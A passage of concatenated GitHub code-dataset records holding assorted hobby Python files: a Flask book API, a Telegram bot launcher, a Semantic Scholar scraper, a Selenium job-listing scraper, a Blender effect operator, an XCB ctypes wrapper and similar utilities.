new and more accurate b and m by performing a gradient step\n b,m = step_gradient(b, m, array(points), learning_rate)\n return (b,m)\n\ndef run():\n # Step 1 - collect our data\n points = genfromtxt('./Data/data.csv', delimiter=',')\n\n #Step 2 - define our hyperparameter\n learning_rate = 0.0001\n # y = mx + b\n initial_b = 0\n initial_m = 0\n number_of_iterations = 1000\n\n #Step 3 - Train our model\n print('Starting gradient descent at b = {0}, m={1}, error={2}'.format(initial_b,initial_m,\n compute_error_for_line_given_points(initial_b, initial_m, points)))\n\n b,m = gradient_descent_runner(points, initial_b, initial_m, learning_rate, number_of_iterations)\n\n print('Ending gradient descent at b = {0}, m={1}, error={2}'.format(b, m,\n compute_error_for_line_given_points(b, m, points)))\n\nif __name__ == \"__main__\":\n run()","repo_name":"lordzuko/udacity-projects","sub_path":"DeepLearning/GradientDescent/gradient_descent.py","file_name":"gradient_descent.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74924683929","text":"from odoo import models,fields\n\n\nclass ProductTemplate(models.Model):\n _inherit = \"product.template\"\n\n def pending_stock_moves(self):\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Pending Stock Move',\n 'view_mode': 'tree',\n 'res_model': 'stock.move',\n 'domain': [('product_id', 'in', self.product_variant_ids.ids), ('state', 'not in', ['cancel', 'done'])],\n 'context': \"{'create': False}\"\n }\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4\n","repo_name":"CrownPhoenixSoft/odoo10","sub_path":"extra-addons/stock_fixes_c2h/models/product_template.py","file_name":"product_template.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10990735423","text":"from books import *\n\n@app.route('/books', methods=['GET'])\ndef get_books():\n return jsonify({'Books': Book.get_all_books()})\n\n@app.route('/books/', methods=['GET'])\ndef get_book_by_id(id):\n return_value = Book.get_book(id)\n return jsonify(return_value)\n\n@app.route('/books', methods=['POST'])\ndef add_book():\n request_data = request.get_json()\n Book.add_book(request_data[\"title\"], request_data[\"author\"],\n request_data[\"read\"])\n response = Response(\"Book added\", 201, mimetype='application/json')\n return response\n\n@app.route('/books/', methods=['PUT'])\ndef update_book(id):\n request_data = request.get_json()\n Book.update_book(id, request_data['title'], request_data['author'],\n request_data['read'])\n response = Response(\"Book Updated\", status=200, mimetype='application/json')\n return response\n\n@app.route('/books/', methods=['DELETE'])\ndef remove_book(id):\n Book.delete_book(id)\n response = Response(\"Book Deleted\", status=200, mimetype='application/json')\n return response\n\nif __name__ == \"__main__\":\n app.run(port=1234, debug=True)\n","repo_name":"leozcarvalho/Crud_livros_vue_flask","sub_path":"server/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5104265002","text":"import logging\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\nimport vemestael_esport_bot.bot as bot\n\n# telegram bot token\nupdater = Updater(token=bot.env_values[\"TELEGRAM_BOT_TOKEN\"])\ndispatcher = updater.dispatcher\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', filename=\"info.log\",\n level=logging.INFO)\n\nstart_handler = CommandHandler(\n 'start', bot.start)\ndispatcher.add_handler(start_handler)\n\nmatches_handler = CommandHandler(\n ['past_matches', 'running_matches', 'upcoming_matches'], bot.get_matches_info)\ndispatcher.add_handler(matches_handler)\n\nteam_matches_handler = CommandHandler(\n ['team_past_matches', 'team_upcoming_matches'], bot.get_team_matches_info)\ndispatcher.add_handler(team_matches_handler)\n\nsettings_handler = CommandHandler(\n 'settings', bot.get_settings)\ndispatcher.add_handler(settings_handler)\n\nget_matches_number_handler = CommandHandler(\n 'get_number_of_matches', bot.get_number_of_matches)\ndispatcher.add_handler(get_matches_number_handler)\n\nset_matches_number_handler = CommandHandler(\n 'set_number_of_matches', bot.set_number_of_matches)\ndispatcher.add_handler(set_matches_number_handler)\n\nget_days_range_handler = CommandHandler(\n 'get_days_range', bot.get_days_range)\ndispatcher.add_handler(get_days_range_handler)\n\nset_days_range_handler = CommandHandler(\n 'set_days_range', bot.set_days_range)\ndispatcher.add_handler(set_days_range_handler)\n\n\nif __name__ == '__main__':\n updater.start_polling()\n print(\"bot started\")\n updater.idle()\n print(\"bot finished\")","repo_name":"Vemestael/vemestael_esport_bot","sub_path":"vemestael_esport_bot/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"9156123231","text":"# Scraping From Semantic Scholar\nfrom .utils import PaperNotFoundError\nimport requests\nfrom .query import query_single_paper\nimport importlib.util\nimport time\nimport re\nimport os\nfrom bs4 import BeautifulSoup\nimport dateutil\nimport dateutil.parser\nimport datetime\nfrom django.conf import settings\n\n# print(settings.SEMANTIC_SCHOLAR_KEY)\n# print(settings.SEMANTIC_SCHOLAR_URL)\n\nS2_KEY=settings.SEMANTIC_SCHOLAR_KEY\nROOT_URL=settings.SEMANTIC_SCHOLAR_URL+\"/v1/paper/\"\nPAGE_ROOT_URL=\"https://api.semanticscholar.org/\"\n\ndef query_page_s2(paper_id, try_get_pdf=True):\n paper_id = paper_id.strip()\n if S2_KEY is None:\n response = requests.get(ROOT_URL + paper_id)\n time.sleep(0.1)\n else:\n response = requests.get(ROOT_URL + paper_id, headers={'x-api-key': S2_KEY})\n time.sleep(1.0/100)\n # print(ROOT_URL + paper_id)\n api_data = response.json()\n # print(api_data)\n # print(api_data.keys())\n # print(api_data['citationVelocity'])\n # print(api_data['topics'])\n # print(api_data['is_open_access'])\n # print(api_data['citations'])\n\n\n s2_info = {\n 's2_id': api_data['paperId'],\n 'arxiv_id': api_data['arxivId'] if api_data['arxivId'] is not None else f\"s2:{api_data['paperId']}\",\n 'citation_velocity': api_data['citationVelocity'],\n 'corpus_id': api_data['corpusId'],\n 'doi': str(api_data['doi']),\n 'fields_of_study': api_data['fieldsOfStudy'] if api_data.get('fieldsOfStudy', None) is not None else [],\n 'influential_citation_count': api_data['influentialCitationCount'],\n 'is_open_access': api_data['isOpenAccess'],\n 'is_publisher_licensed': api_data['isPublisherLicensed'],\n 'topics': [t['topic'] for t in api_data['topics']] if api_data.get('topics', None) is not None else [],\n 'url': str(api_data['url']),\n 'venue': str(api_data['venue']),\n 'year': api_data['year'],\n 'updated': datetime.datetime.now(tz=dateutil.tz.tzutc()),\n 'citations': [\n p['arxivId'] if p['arxivId'] is not None else f\"s2:{p['paperId']}\"\n for p in api_data['citations']\n ],\n 'references': [\n p['arxivId'] if p['arxivId'] is not None else f\"s2:{p['paperId']}\"\n for p in api_data['references']\n ],\n }\n\n if 'error' in api_data:\n assert api_data['error'] == 'Paper not found'\n raise PaperNotFoundError()\n if api_data['arxivId'] is not None:\n return query_single_paper(api_data['arxivId']), s2_info\n d = {}\n d[\"arxiv_id\"] = f\"s2:{api_data['paperId']}\"\n d[\"title\"] = api_data[\"title\"]\n d[\"summary\"] = api_data[\"abstract\"]\n d[\"arxiv_url\"] = api_data[\"url\"]\n d[\"authors\"] = [i['name'] for i in api_data['authors']]\n d[\"primary_category\"] = \"semantic-scholar\"\n d[\"categories\"] = [\"semantic-scholar\"]\n # Optional\n d[\"comment\"] = \"No Arxiv Paper Found\"\n d[\"doi\"] = api_data['doi']\n d[\"journal_ref\"] = api_data['venue']\n d[\"arxiv_version\"] = 0\n\n if try_get_pdf:\n if \"pdf_url\" not in d or d[\"pdf_url\"] is None:\n page_response = requests.get(PAGE_ROOT_URL + paper_id)\n soup = BeautifulSoup(page_response.text, 'html.parser')\n # print(soup.title)\n\n if \"[PDF]\" in soup.title.string:\n for link in soup.find_all('a', {'class': 'alternate-source-link-button'}) + soup.find_all('a', {'class': 'button--primary'}):\n if '.pdf' in link.get('href'):\n d[\"pdf_url\"] = link.get('href')\n break \n \n if \"pdf_url\" not in d or d[\"pdf_url\"] is None:\n if d[\"doi\"] is not None:\n # Try getting from scihub\n spec = importlib.util.spec_from_file_location(\"scihub\", os.path.dirname(os.path.abspath(__file__))+\"/scihub_pythonapi/scihub/scihub.py\")\n mod = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(mod)\n scihub = mod.SciHub()\n for i in range(10):\n try: \n d[\"pdf_url\"] = scihub.fetch(d[\"doi\"])['url'].replace(\"#view=FitH\",\"\")\n break\n except:\n # time.sleep(2)\n continue\n if \"pdf_url\" not in d or d[\"pdf_url\"] is None:\n d[\"pdf_url\"] = \"https://scholar.google.com/scholar?q=\" +d[\"title\"]\n\n d[\"published\"] = dateutil.parser.parse(str(api_data['year'])+'-1-1T00:00:00-00:00')\n d[\"updated\"] = dateutil.parser.parse(str(api_data['year'])+'-1-1T00:00:00-00:00')\n # print(d)\n\n return d, s2_info\n\ndef query_single_paper_s2(paper_id, try_get_pdf=True):\n \"\"\"\n Download and parse a single paper from arxiv.\n \"\"\"\n try:\n paper_info, s2_info = query_page_s2(paper_id=paper_id, try_get_pdf=try_get_pdf)\n except requests.HTTPError as e:\n print(e)\n # This seems to mean the ID was badly formatted\n if e.response.status_code == 400:\n raise PaperNotFoundError()\n raise\n if not paper_info:\n raise PaperNotFoundError()\n return paper_info, s2_info\n\n# query_page_s2('47be321bff23f73c71d7e5716cd107ead087c3ae')","repo_name":"chelsemet/ArxivRoller","sub_path":"django_project/arxivroller/webapp/scraper/query_s2.py","file_name":"query_s2.py","file_ext":"py","file_size_in_byte":5211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8616732501","text":"import re\n\n\nMAP_GAP = 2\nSPLIT_GAP = 5\nMAX_COLS = 10\nLEFT_PADDING = 3\n\n# ALIGN = \"centered\"\nALIGN = \"left\"\n\n\nclass ZMKConfigParser:\n\n def __init__(self, keymap_file):\n self.layer_names = []\n self.layer_bindings = []\n\n layer_index = 0\n keymap_block_found = False\n compatible_found = False\n in_bindings = False\n\n with open(keymap_file, \"r\") as f:\n for l in f.readlines():\n\n if not keymap_block_found:\n m = re.search(\"keymap\", l)\n if (m):\n keymap_block_found = True\n elif not compatible_found:\n m = re.search(\"compatible\", l)\n if (m):\n compatible_found = True\n elif not in_bindings:\n m = re.search(\"{\", l)\n if (m):\n self.layer_names.append(l.strip(' {\\n'))\n else:\n m = re.search(\"bindings\", l)\n if (m):\n in_bindings = True\n self.layer_bindings.append([])\n else:\n m = re.search(\">;\", l)\n if (m):\n in_bindings = False\n layer_index += 1\n else:\n records = l.split(\"&\")\n records = [\"&\"+r.strip() for r in records[1:]]\n self.layer_bindings[layer_index].append(records)\n self.longest_string = self.longest_string()\n\n\n def longest_string(self):\n longest_string = 0\n for layer in self.layer_bindings:\n for row in layer:\n for record in row:\n if (len(record) > longest_string):\n longest_string = len(record)\n return longest_string\n\n\n def get_spaces(self, num):\n spaces = \"\"\n for i in range(int(num)):\n spaces += \" \"\n return spaces\n\n\n def output(self):\n for layer in self.layer_bindings:\n row_string = \"\"\n for row in layer:\n col_id = 0\n row_string += self.get_spaces(LEFT_PADDING)\n if (len(row) < MAX_COLS):\n offset = int((MAX_COLS - len(row)) / 2)\n row_string += self.get_spaces(offset * (self.longest_string + MAP_GAP))\n col_id += offset\n for record in row:\n col_id += 1\n tpad = (self.longest_string + MAP_GAP) - len(record)\n lpad = 0\n\n if (ALIGN == \"centered\"):\n if ((tpad % 2) != 0):\n lpad += 1\n tpad -= 1\n rpad = tpad / 2\n lpad += rpad\n elif (ALIGN == \"left\"):\n rpad = tpad\n\n if (col_id == (MAX_COLS / 2)):\n rpad += SPLIT_GAP\n row_string += self.get_spaces(lpad) + record + self.get_spaces(rpad)\n row_string = row_string.rstrip() + \"\\n\"\n print(row_string)\n\n\nif __name__ == '__main__':\n\n zmk = ZMKConfigParser(\"chocofi.keymap\")\n\n zmk.output()\n\n print(\"done\")","repo_name":"JeremyJass/zmk-config-chocofi","sub_path":"config/boards/shields/chocofi/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9821147717","text":"from selenium.webdriver import Edge\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.select import Select\nfrom selenium.webdriver.edge.options import Options\n\nimport time\n\nurl = \"https://www.lagou.com/\"\n\n# 建立浏览器对象\nweb = Edge()\n\n# 打开一个网站\nweb.get(url)\n\n# 等待网页内容加载\ntime.sleep(1)\n\n# 找到 “全国” 所在的元素\nel = web.find_element('xpath', '//*[@id=\"changeCityBox\"]/p[1]/a')\n\n# 执行点击操作\nel.click()\n\n# 等待网页内容加载\ntime.sleep(1)\n\n# 方法一:找到输入框 输入python 回车搜索\nweb.find_element('xpath',\n '//*[@id=\"search_input\"]').send_keys('python',\n Keys.ENTER)\n\n# # 方法二:找到输入框 输入python 点击搜索按钮\n# input_tag = web.find_element('xpath', '//*[@id=\"search_input\"]')\n# input_tag.send_keys(\"python\")\n# el = web.find_element('xpath', '//*[@id=\"search_button\"]')\n# el.click()\n\n# 等待网页内容加载\ntime.sleep(1)\n\nweb.find_element(\n 'xpath',\n '//*[@id=\"jobList\"]/div[1]/div[1]/div[1]/div[1]/div[1]/a').click()\n\nweb.switch_to.window(web.window_handles[-1])\n\n# 等待网页内容加载\ntime.sleep(1)\n\n# 抓取数据\njob_details = web.find_element(\n 'xpath', '//*[@id=\"job_detail\"]/dd[2]/div').text.split()\nfor item in job_details:\n print(item)\n\n# 等待网页内容加载\ntime.sleep(1)\n\n# 关闭子窗口\nweb.close()\n# 切回主窗口\nweb.switch_to.window(web.window_handles[0])\n\n\n# 等待网页内容加载\ntime.sleep(1)\n\n# 抓取数据\ndiv_list = web.find_elements('xpath', '//*[@id=\"jobList\"]/div[1]/div')\n\nfor div in div_list:\n job = div.find_element('xpath', './div[1]/div[1]/div[1]/a').text\n price = div.find_element('xpath', './div[1]/div[1]/div[2]/span').text\n company = div.find_element('xpath', './div[1]/div[2]/div[1]/a').text\n print(company, job, price)\n\nweb.close()\n\n# url = \"https://mjw21.com/dp/NDY3MS0xLTA=.html\"\n#\n# web = Edge()\n#\n# web.get(url)\n#\n# # 等待网页内容加载\n# time.sleep(1)\n#\n# #\n# iframe = web.find_element('xpath', '//*[@id=\"vodplay\"]')\n#\n# # 切换到iframe\n# web.switch_to.frame(iframe)\n#\n# print(web.find_element('xpath', '/html/head/title').text)\n#\n# # 等待网页内容加载\n# time.sleep(1)\n#\n# # 切回默认窗口\n# web.switch_to.default_content()\n# text = web.find_element('xpath', '/html/body/section/div/div/div[2]/h4/a').text\n# print(text)\n\n# 准备好参数\n# opt=Options()\n# opt.add_argument(\"--headless\")\n# opt.add_argument(\"--disable-gpu\")\n#\n# url=\"https://www.endata.com.cn/BoxOffice/BO/Year/index.html\"\n#\n# # 建立浏览器对象\n# web = Edge(options=opt)\n#\n# # 打开一个网站\n# web.get(url)\n#\n# # 等待网页内容加载\n# time.sleep(1)\n#\n# sel_el=web.find_element('xpath','//*[@id=\"OptionDate\"]')\n#\n# sel=Select(sel_el)\n#\n# # 按照索引切换\n# for i in range(len(sel.options)):\n# sel.select_by_index(i)\n# time.sleep(1)\n# table=web.find_element('xpath','//*[@id=\"TableList\"]/table')\n# print(table.text)\n# print(\"===================================================\")\n#\n#\n# print(\"运行完毕\")\n\n# # 页面经过数据加载以及js执行之后的html源码(element中)\n# print(web.page_source)\n\n# web.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"wangbo-2022/python","sub_path":"python网络爬虫/爬虫库/test_selenium.py","file_name":"test_selenium.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33939302875","text":"import bpy\nfrom .effects import ICETB_EFFECTS_DICTS, ICETB_EFFECTS_NAMES\nfrom ...datas.richstrip import RichStripEffect, RichStripData\n\nclass ICETB_OT_RichStrip_Move(bpy.types.Operator):\n bl_idname = \"icetb.richstrip_mveffect\"\n bl_label = \"Move Effect\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n dire: bpy.props.StringProperty(name=\"Move direction\", default=\"UP\")\n\n @classmethod\n def poll(cls, context):\n return True\n\n def getcoverChannel(self, richstrip:bpy.types.MetaSequence, effect:RichStripEffect):\n inputstripChannel = richstrip.sequences.get(effect.EffectStrips[0].value).channel\n adjuststripChannel = richstrip.sequences.get(effect.EffectStrips[-1].value).channel\n coverChannel = adjuststripChannel - inputstripChannel + 1\n return coverChannel\n\n def mvlayer(self, context, richstrip:bpy.types.MetaSequence, data:RichStripData, effect:RichStripEffect):\n if data.EffectsCurrent == 0 or (data.EffectsCurrent == 1 and self.dire == 'UP') or (data.EffectsCurrent == len(data.Effects) - 1 and self.dire == 'DOWN'):\n self.report({'ERROR'}, \"Cannot move this effect in this direction.\")\n return {'CANCELLED'}\n \n # calculate this effect cover n channels\n tarEffect = data.Effects[data.EffectsCurrent + (-1 if self.dire == 'UP' else 1)]\n curCover = self.getcoverChannel(richstrip, effect)\n tarCover = self.getcoverChannel(richstrip, tarEffect)\n\n emptyChannel = richstrip.sequences.get(data.Effects[-1].EffectStrips[-1].value).channel + tarCover + curCover\n\n # TODO: assert emptyChannel < MAX_CHANNEL\n\n def moveupStrips(effect:RichStripEffect, targetChannel):\n stripsInstances = [ richstrip.sequences.get(x.value) for x in effect.EffectStrips if richstrip.sequences.get(x.value) ]\n for i, seq in enumerate(stripsInstances[::-1]):\n seq.channel = targetChannel - i\n return targetChannel - len(stripsInstances)\n\n for aboveEffects in data.Effects[data.EffectsCurrent + (1 if self.dire == 'UP' else 2):]:\n emptyChannel = moveupStrips(aboveEffects, emptyChannel)\n\n up, down = data.Effects[data.EffectsCurrent + (0 if self.dire == 'UP' else 1)], data.Effects[data.EffectsCurrent + (-1 if self.dire == 'UP' else 0)]\n upup = data.Effects[data.EffectsCurrent + (1 if self.dire == 'UP' else 2)] if data.EffectsCurrent + (1 if self.dire == 'UP' else 2) < len(data.Effects) else None\n downdownSeq = richstrip.sequences.get(data.Effects[data.EffectsCurrent + (-2 if self.dire == 'UP' else -1)].EffectStrips[-1].value)\n\n # Swap\n emptyChannel = moveupStrips(down, emptyChannel)\n emptyChannel = moveupStrips(up, emptyChannel)\n\n def replaceInput(richstrip:bpy.types.MetaSequence, effect:RichStripEffect, source:bpy.types.Sequence, to:bpy.types.Sequence):\n for strip in effect.EffectStrips:\n seq = richstrip.sequences.get(strip.value)\n if seq and hasattr(seq, \"input_1\") and seq.input_1 == source:\n seq.input_1 = to\n\n if upup:\n replaceInput(richstrip, upup, richstrip.sequences.get(up.EffectStrips[-1].value), richstrip.sequences.get(down.EffectStrips[-1].value))\n replaceInput(richstrip, down, downdownSeq, richstrip.sequences.get(up.EffectStrips[-1].value))\n replaceInput(richstrip, up, richstrip.sequences.get(down.EffectStrips[-1].value), downdownSeq)\n\n # upup -> upup (Nullable)\n # up -> down\n # down -> up\n # downdown -> downdown\n # original -> original\n\n data.Effects.move(data.EffectsCurrent, data.EffectsCurrent + (-1 if self.dire == 'UP' else 1))\n down.EffectIndex -= 1\n up.EffectIndex += 1\n\n def movedownStrips(effect:RichStripEffect, targetChannel):\n stripsInstances = [ richstrip.sequences.get(x.value) for x in effect.EffectStrips if richstrip.sequences.get(x.value) ]\n for i, seq in enumerate(stripsInstances):\n seq.channel = targetChannel + i\n return targetChannel + len(stripsInstances)\n\n emptyChannel -= tarCover + curCover - 1\n for aboveEffects in data.Effects[data.EffectsCurrent + (1 if self.dire == 'UP' else 2) - 2:]:\n emptyChannel = movedownStrips(aboveEffects, emptyChannel)\n\n oldEffectIdx = data.EffectsCurrent\n data.EffectsCurrent = data.EffectsCurrent + (-1 if self.dire == 'UP' else 1)\n\n self.correctDrivers(context, richstrip, data, tarEffect, oldEffectIdx, data.EffectsCurrent)\n self.correctDrivers(context, richstrip, data, effect, data.EffectsCurrent, oldEffectIdx)\n\n return {\"FINISHED\"}\n\n def correctDrivers(self, context, richstrip:bpy.types.MetaSequence, data:RichStripData, effect:RichStripEffect, oldEffectIdx:int, newEffectIdx:int):\n oldpattern = 'IceTB_richstrip_data.Effects[%d]'%oldEffectIdx\n newpattern = 'IceTB_richstrip_data.Effects[%d]'%newEffectIdx\n patternRichstrip = 'sequence_editor.sequences_all[\"%s\"].%s'%(richstrip.name, oldpattern)\n for x in context.scene.animation_data.drivers:\n for seqName in effect.EffectStrips:\n pattern = 'sequence_editor.sequences_all[\"%s\"]'%(seqName.value)\n if x.data_path.startswith(pattern): # fliter driver related to this effect\n for variable in x.driver.variables:\n if variable.targets[0].data_path.startswith(patternRichstrip): # fliter driver related to IceTB_richstrip_data\n variable.targets[0].data_path = variable.targets[0].data_path.replace(oldpattern, newpattern)\n return\n\n def execute(self, context):\n richstrip = context.selected_sequences[0]\n data:RichStripData = richstrip.IceTB_richstrip_data\n effect = data.getSelectedEffect()\n effectName = effect.EffectType\n\n if effectName in ICETB_EFFECTS_NAMES:\n cls = ICETB_EFFECTS_DICTS[effectName]\n cls.enterEditMode(richstrip)\n ret = self.mvlayer(context, richstrip, data, effect)\n cls.leaveEditMode()\n return ret\n else:\n self.report({'ERROR'}, \"Unknow effect name called \" + effectName)\n return {'CANCELLED'}\n\n return {\"FINISHED\"}","repo_name":"IceSandwich/IceToolbag","sub_path":"src/operators/richstrip/mveffect.py","file_name":"mveffect.py","file_ext":"py","file_size_in_byte":6408,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"10783215293","text":"import unittest\nimport os,sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nimport read_and_process as read_file\n\n\nclass TestData(unittest.TestCase):\n\n #setUp function\n def setUp(self):\n self.process = read_file.InputParser()\n\n #test function to check the function running\n def test_complete_function(self):\n data = ['L1&1&AB', 'L2&NB&2&34']\n result = self.process.read_file_lines(data,'test_integrated')\n self.assertEqual(result, True)\n\n #test function to check the error codes\n def test_specific_error_code(self):\n data = ['L1&1&AB']\n expected_error_code = ['E01','E01','E05']\n res = self.process.read_file_lines(data,'test')\n length = len(res)\n for i in range(0,length):\n self.assertEqual(res['Error Code'][i],expected_error_code[i])\n\n #test function to check the data type\n def test_check_data_type(self):\n data = ['L2&NB&2&34']\n given_data_type = ['word_characters','digits','digits']\n res = self.process.read_file_lines(data,'test')\n length = len(res)\n for i in range(0,length):\n self.assertEqual(res['Given DataType'][i],given_data_type[i])\n\n #test function to check the length of the input string and the length of the standard description section schema\n def test_check_array_length(self):\n data = ['L2&NB&2&34']\n given_word_length = len(data[0].split('&')) -1 \n res = self.process.read_file_lines(data,'test')\n length = res.shape[0]\n difference = length - given_word_length\n self.assertEqual(difference,0)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"Vidip/JsonParser","sub_path":"test/testscript.py","file_name":"testscript.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22886362049","text":"# -*- coding: utf-8 -*-\n\nimport imp\nfeature_io=imp.load_source('feature_io','../tool/feature_io.py')\nimport feature_io\n\nimport numpy as np\nimport pandas as pd\n\n#添加用户日点击次数\ndef feature_33_62(read_log_path, read_id_path, read_feature_path, write_feartue_path):\n f = feature_io.read_log(read_log_path)\n id_list = feature_io.read_id(read_id_path)\n #key = id, Value = list[31]\n date_all_table = {}\n #保存存在操作日志的id\n #遍历操作日志 将操作时间按 天/每次+1 放入矩阵中\n for line in f:\n if int(line[0]) in date_all_table:\n date_all_table[int(line[0])][int( line[2].split()[0].split('-')[2])] += 1\n else:\n date_all_table[int(line[0])] = [0]*32\n date_all_table[int(line[0])][int( line[2].split()[0].split('-')[2])] += 1\n \n #读取feature 添加这[1:] 32列特征\n feature = feature_io.read_feature(read_feature_path)\n #遍历feature 无数据行补 [0]*32 构造新的list\n data_feature = [[0]*32]\n for i, line in enumerate(feature):\n if int(id_list[i]) in date_all_table:\n data_feature.append(date_all_table[int(id_list[i])][1:]) #从下标1开始 剪去无用数据(每月第0天)\n else:\n data_feature.append([0]*31)\n data_feature = data_feature[1:] #剪去第一空行\n \n #拼接并写入feature\n feature = np.concatenate((feature, np.array(data_feature)), axis=1)\n feature_io.write_feartue(feature, write_feartue_path)\n \nif __name__ == '__main__':\n feature_33_62('train_log.csv', 'train_id.csv','train_feature.csv', 'train_feature_62.csv')\n\n \n ","repo_name":"muxi0930/ai.shopping","sub_path":"src/feature/feature_33_62.py","file_name":"feature_33_62.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16079034509","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Minimalistic wrapper over the XCB window api\n\"\"\"\nimport vk\nimport weakref, asyncio\n\nfrom ctypes import *\n\n# Extern libraries\ntry:\n xcb = cdll.LoadLibrary('libxcb.so.1')\n libc = cdll.LoadLibrary('libc.so.6')\nexcept OSError:\n raise OSError('Failed to import libxcb.so or libc. Are they installed?')\n\n# TYPES\nxcb_connection_t = c_void_p\nxcb_setup_t = c_void_p\nxcb_window_t = c_uint\nxcb_colormap_t = c_uint\nxcb_visualid_t = c_uint\nxcb_drawable_t = c_uint\nxcb_atom_t = c_uint\nxcb_timestamp_t = c_uint\n\n# Structures\nclass xcb_screen_t(Structure):\n _fields_ = (\n ('root', xcb_window_t),\n ('default_colormap', xcb_colormap_t),\n ('white_pixel', c_uint),\n ('black_pixel', c_uint),\n ('current_input_mask', c_uint),\n ('width_in_pixels', c_ushort), ('height_in_pixels', c_ushort),\n ('width_in_millimeters', c_ushort), ('height_in_millimeters', c_ushort),\n ('min_installed_maps', c_ushort), ('max_installed_maps', c_ushort),\n ('root_visual', xcb_visualid_t),\n ('backing_stores', c_ubyte), ('save_unders', c_ubyte),\n ('root_depth', c_ubyte), ('allowed_depths_len', c_ubyte)\n )\n\nclass xcb_motion_notify_event_t(Structure):\n _fields_ = (\n ('response_type', c_ubyte),\n ('detail', c_ubyte),\n ('sequence', c_ushort),\n ('time', xcb_timestamp_t),\n ('root', xcb_window_t),\n ('event', xcb_window_t),\n ('child', xcb_window_t),\n ('root_x', c_short), ('root_y', c_short),\n ('event_x', c_short), ('event_y', c_short),\n ('state', c_ushort),\n ('same_screen', c_ubyte),\n ('pad0', c_ubyte)\n )\n\nxcb_button_press_event_t = xcb_motion_notify_event_t\n\nclass xcb_configure_notify_event_t(Structure):\n _fields_ = (\n ('response_type', c_ubyte),\n ('pad0', c_ubyte),\n ('sequence', c_ushort),\n ('event', xcb_window_t),\n ('window', xcb_window_t),\n ('above_sibling', xcb_window_t),\n ('x', c_short), ('y', c_short),\n ('width', c_short), ('height', c_ushort),\n ('border_width', c_ushort),\n ('override_redirect', c_ubyte),\n ('pad1', c_ubyte)\n )\n\nclass xcb_get_geometry_reply_t(Structure):\n _fields_ = (\n ('response_type', c_ubyte),\n ('depth', c_ubyte),\n ('sequence', c_ushort),\n ('length', c_uint),\n ('root', xcb_window_t),\n ('x', c_short), ('y', c_short),\n ('width', c_ushort), ('height', c_ushort),\n ('border_width', c_ushort)\n )\n\nclass xcb_generic_event_t(Structure):\n _fields_ = (\n ('response_type', c_ubyte),\n ('pad0', c_ubyte),\n ('sequence', c_ushort),\n ('pad', c_uint*7),\n ('full_sequence', c_uint),\n )\n\nclass xcb_intern_atom_reply_t(Structure):\n _fields_ = (\n ('response_type', c_ubyte),\n ('pad0', c_ubyte),\n ('sequence', c_ushort),\n ('length', c_uint),\n ('atom', xcb_atom_t),\n )\n\nclass xcb_screen_iterator_t(Structure):\n _fields_ = (\n ('data', POINTER(xcb_screen_t)),\n ('rem', c_int),\n ('index', c_int)\n )\n\nclass xcb_void_cookie_t(Structure):\n _fields_ = (('sequence', c_uint),)\n\nxcb_get_geometry_cookie_t = xcb_void_cookie_t\nxcb_intern_atom_cookie_t = xcb_void_cookie_t\n\n# CONSTS\n\nNULL = c_void_p(0)\nNULL_STR = cast(NULL, POINTER(c_char))\n\nXCB_CW_BACK_PIXEL = 2\nXCB_CW_EVENT_MASK = 2048\n\nXCB_EVENT_MASK_KEY_RELEASE = 2\nXCB_EVENT_MASK_EXPOSURE = 32768\nXCB_EVENT_MASK_STRUCTURE_NOTIFY = 131072\nXCB_EVENT_MASK_POINTER_MOTION = 64\nXCB_EVENT_MASK_BUTTON_PRESS = 4\nXCB_EVENT_MASK_BUTTON_RELEASE = 8\n\nXCB_COPY_FROM_PARENT = 0\n\nXCB_PROP_MODE_REPLACE = 0\n\nXCB_ATOM_STRING = 31\nXCB_ATOM_WM_NAME = 39\n\nXCB_WINDOW_CLASS_INPUT_OUTPUT = 1\n\nXCB_BUTTON_PRESS = 4\nXCB_BUTTON_RELEASE = 5\nXCB_MOTION_NOTIFY = 6\nXCB_DESTROY_NOTIFY = 17\nXCB_CLIENT_MESSAGE = 33\nXCB_CONFIGURE_NOTIFY = 22\n\nXCB_BUTTON_INDEX_1 = 1\nXCB_BUTTON_INDEX_2 = 2\nXCB_BUTTON_INDEX_3 = 3\n\n\n# Functions\n\nxcb_connect = xcb.xcb_connect\nxcb_connect.restype = xcb_connection_t\nxcb_connect.argtypes = (c_char_p, POINTER(c_int))\n\nxcb_get_setup = xcb.xcb_get_setup\nxcb_get_setup.restype = xcb_setup_t\nxcb_get_setup.argtypes = 